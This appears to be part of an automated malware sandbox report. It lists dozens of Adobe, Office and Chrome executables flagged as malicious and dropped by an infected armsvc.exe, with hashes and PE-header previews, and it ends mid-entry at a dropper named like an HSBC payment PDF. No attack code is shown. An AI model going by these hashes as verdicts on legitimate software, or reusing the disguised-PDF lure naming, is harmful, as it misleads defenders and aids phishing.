Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1494016
Entropy (8bit):	4.896119933788027
Encrypted:	false
SSDEEP:	24576:wO+qBg/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:n+LLNiXicJFFRGNzj3
MD5:	62976C5C4E6A3FBA1D3DB8464B64C3D8
SHA1:	60749729AD2BDAF8C0AD29CC03F11EECA28055A7
SHA-256:	15813347AA1DCD1CD33099DE0056E519F3D1BCF224260494C77F8EB5885421FF
SHA-512:	7D089DDAB1EE902681A8F17F047441AD36D44F577B46E3580EC0BF9415BDB03081B447C1AF150D47C46069480B82EBBC077EA7AFB69151E033CA0557825A6E89
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@...........................!......n..............................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	4.521168423763117
Encrypted:	false
SSDEEP:	12288:xiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	4AE3FB28F13C0B8D59FDD376127B6466
SHA1:	5E893B74C40E2249B169493426BEA7A9C48D8ECF
SHA-256:	9484E6E4CB76231A91A4FC7CDEEE88BB4DA96FE9080CA2FFE77A80BD9CE2ECDC
SHA-512:	2C3E58814B929891CAD1113689F726B659B0396C77EA62CE16E7C82F1250FF56834647CD4A12CCF052FC8D493CCCA1EA1533619CD45AA9A2E890F5F4B7F6F218
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@..................................... .... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...`...........2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	4.550856070012462
Encrypted:	false
SSDEEP:	12288:WQiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:N/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	AF91E3A41B842D2EF0FDA4440F34B353
SHA1:	EBC85DD235F6F7208DF05723B394F523BBDE4FB3
SHA-256:	2ED40CC4945D9CF747E4ADD481D9F1BB234EBF515B558760CA06405878408E0E
SHA-512:	C2E5C83330AD17CDBD7526EB90AB8B984808A5CF190DA669349627FD3DD957D45AA310209A668A54414E58F48D4CB4C62EC336C9889E05AD6D025EC23CEB50A1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@.....................................W.... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...`...........z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.496752054663036
Encrypted:	false
SSDEEP:	49152:4tuUC0nNc/RcYHCY9AWWnUOqdHIEogMAYrukdUmSC+bXMZQU1QqpN755BLNiXico:4jEIa3HIEWOc537wRGpj3
MD5:	585F851F56A08D2E9CCB2412E6E896D2
SHA1:	201C52A3BB12700D9FC697811C101E0DDE598280
SHA-256:	9896FF33EB31B9A3445429651845443376E8D54405C06689B7BF40421FB5D70A
SHA-512:	E808E667D7F7FAB2B76030D14D876B3CF0966E6D76ADFB194CB65933C4A41832FE28B2B11ED3BC21AD77FD41006C21B82E72F9B91B588028EF27A90DA4482DB2
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......@... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999353935985061
Encrypted:	true
SSDEEP:	1572864:0Qb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:rXhwMhe6AABPiQwF6xQ22R
MD5:	29A631C6E5A948476AFAE5EA442AD819
SHA1:	ABD38E463E5A1BAAB3B9BC0BA48040AC4EB8ED50
SHA-256:	628651BC82636909E174044C5B10733AF07890B2EBF99B08D243A8235090E035
SHA-512:	8DD7BDDA5F49051D450350A20910C7FBD407E895D2767FE38F73AFA0F5998EFD118568AD96E87B737919561100DF90EFDD60BCFF75C9882FFBD982D0F704F4F2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0......wu.... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1385984
Entropy (8bit):	4.7034590142747135
Encrypted:	false
SSDEEP:	24576:IjkYuE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:s/uELNiXicJFFRGNzj3
MD5:	628FE1B14F9DF3601C27E15923167F59
SHA1:	536472243CA58F3DD03C5A5972E1B26FAB9CBC3D
SHA-256:	51D687C2770180D3A070CDBB66203D274D516DB54ABBA9CBDEC5D2BA21092840
SHA-512:	0E5EF0BAE63185EB270A8CF6D82B00720DDB4EFACB582D3D963DBAA58AD6C5035C73C0FCEC228570E89927F62628F11DF166DB3DD3680E142FD3B8AEF3251B6D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.......................... ..............................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...p...........v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540608
Entropy (8bit):	4.935000317982403
Encrypted:	false
SSDEEP:	24576:+xwSJzkrmZsY/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+yIkrKsYLNiXicJFFRGNzj3
MD5:	45A3CF375495AE709AE2C88E93164CA0
SHA1:	F982E64250667C882513477E7C8DD47A4E07BB8F
SHA-256:	D135AA35AC5D893E6E84813C078D92B105B0384641D91F18AC0B2FDB6F90946D
SHA-512:	101AFBBA0A01CE2B8089C9DB449C7899D81655B6C1DE7B7C74816A18EB6500C359F1DB1F4F846592B8029FCAD45BD87531F58193127F568EBD8CA324D4892021
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@.............................."........... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...`...0......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	5.2474719363604025
Encrypted:	false
SSDEEP:	24576:UHQJLIRZvsnNN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:UHQJLy4NLNiXicJFFRGNzj3
MD5:	3FB0F1E8352F5B4BE3480BB7977D82C6
SHA1:	24EF6E6CF7276B529EF3451DEE3B377E7D66772F
SHA-256:	BD604688E312CEAC7DBB73EAC0E1810FE2D33EB577C2DF2EA0AEF3860E1BC432
SHA-512:	4794C956AEC672618DDE50DF9D5C99600D6C72C50BE08116053C0BB6CFCC6B8F46E3E27C9DBAB78C1A9BE7662B1062BF5417650735A442BABCB92D54AD0263C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@..............................&......_.... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.447931608305787
Encrypted:	false
SSDEEP:	49152:aUZujDjDjDjXmXgoz2PsapFQr97dRpqbeE8U2Izwot+bdro4O8b8ITDnlggyJ1kF:1WmXL6DE97dRpKuoQbgu7wRGpj3
MD5:	D732808B62774CB29FC81935B01222EB
SHA1:	559E911B3D0CADF93725E8FE3D2D1C6735FCFCD0
SHA-256:	DD1DCA03F9B7B1CB0116D85CCED9D1838522349001812D3EA1933B9D792E3009
SHA-512:	584D48910AB48A82AFC470C5FD6F6B1B6797B7448212BC204BD17A53145E91AE0AA4D67D02465C73268AADB10EB049C694419E9E9A1F6A0DD0D4C4211222E58A
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R.......R..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.971281628653374
Encrypted:	false
SSDEEP:	98304:HrZ23AbsK6Ro022JjL2WEiVqJZh7wRGpj3:LJADmmxL2WEoCZlF9
MD5:	C92A6DE5448DB51CC32A72C8CA9326BE
SHA1:	4AC3256BDFAB540B0657A6635C9962C2F2E7BF3F
SHA-256:	E1C0278E3AF4FF09E6080515AFBAE2F6AEA4F00B3E795152D5333ED1EC732DD1
SHA-512:	0553D127F9B1AF315CE8CCC7EB4CAC7CFC3642A0A1B33FBDB6C14A324CB9F2FBC695CF7C9D7FB2C087BF28B117C03C5D2FB32D86FF4A09EEB2367240F8F8F203
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1.......0.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.194646283316611
Encrypted:	false
SSDEEP:	24576:nfrYY42wd7hlOE9fpkEE64I/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+/9xrSILNiXicJFFRGNzj3
MD5:	E2834CA78521A7A29314A87E0CFD2346
SHA1:	D157F71A9EE726BD094EF372FB1AA959823891F6
SHA-256:	A78E529054F889A3883B77DD8DD5392A2A0A6C68BD3EAD49BD520BBBD8946DDD
SHA-512:	1265DD968D5FC06D949D84EAC8280AC609AC08DBE592C30202A37A51463C4993EC6018E9F7CF417531198166007916D603D59B767AE7999D9B8F0ACAD583EA4E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. ........... ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1544192
Entropy (8bit):	4.836095188616976
Encrypted:	false
SSDEEP:	24576:vzNKU/53/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:vzNr/53LNiXicJFFRGNzj3
MD5:	275F68B3B78D5000BECB81AB9E961D06
SHA1:	B199829A3BEA42D000FA945A6804206A1B7C3235
SHA-256:	D32C9C9DD66E4A85F0C3118743C90A3BF05CD7679AB8FCCD1DFF97A63C9590F6
SHA-512:	877B900F9BBD533AA60FF51707EDB49A7D1E64CC1513A802935831E581D592B5CEFE3B3ADE378EDBE5C28C2A0ACE8ED6F006D76AB536AAA7C6ECF53A24C097B8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................`"......0.... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.572130941377291
Encrypted:	false
SSDEEP:	98304:vALuzDKnxCp3JKCrPJzruaI6HMaJTtGby7wRGpj3:4aGg3cuPIaI6HMaJTtGb2F9
MD5:	0BB3C93494CF0D972865D0A323A6A957
SHA1:	952538C6820F43EE3B9123A892F1B278B698D42B
SHA-256:	530BB34F5EBBE09B809545F63745346AD6BE19C0EDCC49CC8608814E0817AE3A
SHA-512:	3CF02B38E148535D3DF608F290B225EEC221996B00774180247534166091F2A03B8AE20A7A5BB6ED065A6194712BB6CE19D93798DFE1188E3B3AB15578D76004
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y.....{.Y... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1468416
Entropy (8bit):	4.89007921484243
Encrypted:	false
SSDEEP:	24576:fXr/SVAxW8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:DNxhLNiXicJFFRGNzj3
MD5:	7C20F540564A8667850415588B5D432A
SHA1:	5C3C1F96DE284BE43B698241388C374D70554231
SHA-256:	1AF59598385EAC6A9CF720BF1DAD02B50F3933389CB1E631263C0C63A60EE0FD
SHA-512:	16779F5A8D736FA9FFBB296694D2C1EAB3A785F254AF1E9A58E74E7606B9DB70CA9D1FA6128669B15C7F55874F648D0FC11616049FA729B790E2BE44F8F493FF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................`!.................. ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.24804678699589
Encrypted:	false
SSDEEP:	196608:ChRrmpGpGdJM7Hbp8JfrCGvqTYuNDmoefAlprtPz25HqaI6HMaJTtGbQOyF9:ChRCpGpMJMrbp8JjpWdNlc5p9
MD5:	1194AA497581AF9F222AE2AD04B43218
SHA1:	B5715AE58FA2FEED267E232D608C0F84EE2341DB
SHA-256:	2BA67E9AC638FFAD09E04B860E2EA27A3060522BFA62A77BF94A7BE6F1A35FBE
SHA-512:	343950D2EFD4AF79A1605F2D2BC75A987BB76E095F1A430A378FBB61C3F45B6A7C12DDF2DAE3E1575E3E61AB4A98AD1B420F9921A601008A53865C448CC9A1F2
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@.......................................... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.782210710834106
Encrypted:	false
SSDEEP:	49152:583pZ3kd0CuEeN0LUmRXbYs65m2LNiXicJFFRGNzj3:xKuUMY15d7wRGpj3
MD5:	31048E860DC4158496ACAB09EF1923D1
SHA1:	386E1FBDEC83E01ED966994ADB0B52654B93CF74
SHA-256:	5DFFDE9740C8992ABA13A58B1B910018B7EC05BFC5E917150CD1C52A9637EF89
SHA-512:	C7E71F36D85A9FC204284F5D685F9C57CDAA2AEE456C8F6495A73CD5301F3EBF3A9F2617D3BE04B3C740D165AFBB11E5841EF99441BAF19B0D5A351A00502407
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!.....jB"... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.668191967559824
Encrypted:	false
SSDEEP:	49152:dErw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGO8ndOPcptz6+MQ:LA4oGlcR+glpdOPKzgVZc7wRGpj3
MD5:	0CD489792626C63DAC9215CD3E01CD00
SHA1:	8C563F3FEFCC4743F49E06F57D4DE34A6E48946B
SHA-256:	48F6E11F22A63F7D9467402EA9E7B167622CC2B44A2B70D2D1EDE622433504F2
SHA-512:	930ECEFCFE2C6421DE4EA16DDB82356E9A954C3E495104544A3E8A1C031B5ACD4AEC825D04AB88DF239E240407D909AEFA10202AD77D1C2CC9E04B7F444A6454
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L......jL... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.827342709053817
Encrypted:	false
SSDEEP:	49152:Z8ErxqTGsitHloGgkiDrCvJVZfEcpwD0YLgVCM2hnwLNwiHaGI3Y/685ZYMaWgKj:0v2gM+qwtLg7pPgw/DSZHG7wRGpj3
MD5:	C578CCC487248169B2D039EFEFCD029B
SHA1:	2EE92BA18666FCF9F811E4270F509811C4D3072E
SHA-256:	9C923107DE513269387D49761DB8812534FC4AB7DDFDB7CC4A3796B01906E796
SHA-512:	4373C90CC917D87CD40724988F4A6C92AD453E98D10E3AB1C02539259FC8260E3AEC0B13ACD5D8B69520D2DBE5F58B64548B650D8F24D41499C3BD31E6CAB789
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.827342866276559
Encrypted:	false
SSDEEP:	49152:b8ErxqTGsitHloGgkiDrCvJVZfEcpwD0YLgVCM2hnwLNwiHaGI3Y/685ZYMaWgKj:av2gM+qwtLg7pPgw/DSZHG7wRGpj3
MD5:	05BE3F60C2A1C15C0C002768B4247B95
SHA1:	68C851C4F4B33D806CD36438FAA0BF62C2760948
SHA-256:	0A7E68FEB06C5DEC2512F74DCF16ECF8C1ACC31EA96B0566AC025F2AA2B78D5E
SHA-512:	162B27EE0093E08CCAEFBDC2B93D3E76892C04F82E4ADD4077827038018D0D19DEA41576078BC68917997E9450BF79C674F8218B3BE2C6C92BDFA54643A0DFF6
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.9474953057981645
Encrypted:	false
SSDEEP:	24576:FtjqL8fHv8aUbp8D/8+xyWAV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:HjKKv81FI/8zDLNiXicJFFRGNzj3
MD5:	511DA813147FD4D5B61029F752DEBFA6
SHA1:	D5E045F3DA49C97A7185390B2B70BE1334A3B551
SHA-256:	29AEC565246A0082015A4AC749E246FA795CFA30AD5E202AC8F3A1F180D64351
SHA-512:	4B4F7DD669822AFFB28860EE224CEAF0B7DB1A0C40C93A6C6D420A231DA1F4846E754CE3EF768B9A47586F1A5CA713AC4F056CDD1544D331788AA2915C5FF404
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P"......D!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.027348462105408
Encrypted:	false
SSDEEP:	49152:2AMsOu3JfCIGcZuTodRFYKBrFDbWpeLNiXicJFFRGNzj3:2AMa3PZuTS37wRGpj3
MD5:	67C322900C5D783BD07C9844D6B508F0
SHA1:	4B92B8F908168FF8C039DB29EF5600AD38EC681A
